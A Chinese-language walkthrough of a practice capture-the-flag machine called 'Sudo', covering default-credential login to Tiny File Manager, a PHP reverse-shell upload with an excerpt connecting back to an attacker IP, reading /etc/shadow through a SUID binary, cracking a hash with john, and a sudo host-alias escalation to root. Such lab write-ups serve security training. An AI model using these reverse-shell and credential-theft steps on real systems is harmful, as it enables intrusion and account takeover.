20250711_Sudo 靶机复盘

target:192.168.43.20

外部打点 (文件上传)

nmap扫一下,80,22 开放

扫目录,发现 README.md

复制代码
[17:04:30] 200 -  664B  - /Dockerfile                                       
[17:04:38] 200 -   34KB - /LICENSE                                          
[17:04:48] 200 -    5KB - /README.md                                        
[17:04:50] 403 -  278B  - /server-status/                                   
[17:04:50] 403 -  278B  - /server-status                                    
[17:04:55] 200 -    4KB - /tinyfilemanager.php 

Default username/password: **admin/admin@123** and **user/12345**.

得到账号密码 ==> admin:admin@123

进入 web 界面,成功登录

登录后进入文件上传功能,上传 php-reverse-shell.php,攻击机开监听 nc -lvnp 8999

浏览器访问 http://192.168.43.20/php-reverse-shell.php 成功反弹shell

复制代码
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.43.57';  // CHANGE THIS
$port = 8999;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
...
...

权限提升 (文件读取和sudo配置)

得到 www-data 用户

进入/home/eecho,得到 user.txt,即 flag1

上传 linpeas ,全局扫描可疑点

也可以 find / -perm -4000 2>/dev/null 查找具有 suid 位的文件

找到 /usr/bin/read_file 这个特殊的可执行文件

复制代码
-rwsr-sr-x 1 root root 17528 Jul  9 05:01 /usr/bin/read_file

查看帮助

复制代码
Usage: read_file -f <filepath>
Options:
  -h         Show this help message
  -f <file>  Specify the file to view (must be under /etc)

Security restrictions:
  - File path must start with /etc/
  - Symbolic links and path traversal are blocked
  - Only regular files can be read

也就是可以读取 /etc 下的文件

直接读取 /etc/shadow 和 /etc/soduers

拿到加密后的 root 和 eecho 的密码,以及 soduers 配置

复制代码
eecho:$6$mL.9/fVsBqItNR..$GyJfKOjLcovjApxygZ79CjKcqJmJ37jC8y9KeLq81fLAnNCYVP1Nw9d8Dp9pZi/l3CWJ3PHL1l/Hld3sFmZoQ.:20278:0:99999:7:::

爆破 eecho 密码

复制代码
john $6$mL.9/fVsBqItNR..$GyJfKOjLcovjApxygZ79CjKcqJmJ37jC8y9KeLq81fLAnNCYVP1Nw9d8Dp9pZi/l3CWJ3PHL1l/Hld3sFmZoQ.

得到 eecho:alexis15

ssh 连接成功

刚才 sudoers 文件内容如下

复制代码
Defaults	env_reset
Defaults	mail_badpass
Defaults	secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"

# Host alias specification

# User alias specification

# Cmnd alias specification

# User privilege specification
root	ALL=(ALL:ALL) ALL

# Allow members of group sudo to execute any command
%sudo	ALL=(ALL:ALL) ALL
eecho Dashazi = NOPASSWD:ALL
# See sudoers(5) for more information on "@include" directives:

即 eecho 可以在主机 Dasahzi 上执行任意命令

复制代码
eecho@Sudo:~$ sudo -i -h Dashazi
sudo: unable to resolve host Dashazi: Name or service not known
root@Sudo:~# id
uid=0(root) gid=0(root) groups=0(root)
root@Sudo:~# ls
root.txt
root@Sudo:~# cat root.txt 
flag{root}
root@Sudo:~# 

sudo -h 指定主机,直接切换为 root

结束

总结

首先目录爆破翻配置文件找到默认用户名密码,登录

然后在文件上传点上反弹shell马

进到 home 查看用户

查找到 SUID 位文件 read_file,读取敏感文件 /etc/shadow,/etc/sudoers

爆破加密的密码

成功切换eecho用户后,指定主机名 sudo -i 切换为 root
sudo -i -h Dashazi

相关推荐
wanhengidc24 分钟前
云手机和虚拟机的区别都有哪些?
运维·服务器·安全·智能手机·玩游戏
xixixi777772 小时前
信息安全和网络安全的区分在哪
网络·安全·web安全·信息安全
金仓拾光集2 小时前
__金仓数据库替代MongoDB护航医疗隐私:医院患者随访记录安全存储实践__
数据库·安全·mongodb
newxtc2 小时前
【江苏政务服务网-注册_登录安全分析报告】
人工智能·安全·yolo·政务·1024程序员节·安全爆破
cellurw2 小时前
Day69 SQLite3动态库移植 + BMP图像解析显示 + 进度条控件设计与动态文本管理
linux
nono牛3 小时前
Linux基础指令大全(快速上手)
linux·服务器·windows·智能手机
<但凡.3 小时前
Linux修炼:库制作与原理(一)
linux·运维·服务器
lang201509283 小时前
Spring空安全指南:告别空指针异常
java·安全·spring
Maple_land4 小时前
编译器的“隐形约定”与本地变量:解锁Linux变量体系的关键密码
linux·运维·服务器·c++·centos
深思慎考5 小时前
微服务即时通讯系统(服务端)——Speech 语音模块开发(2)
linux·c++·微服务·云原生·架构·语音识别·聊天室项目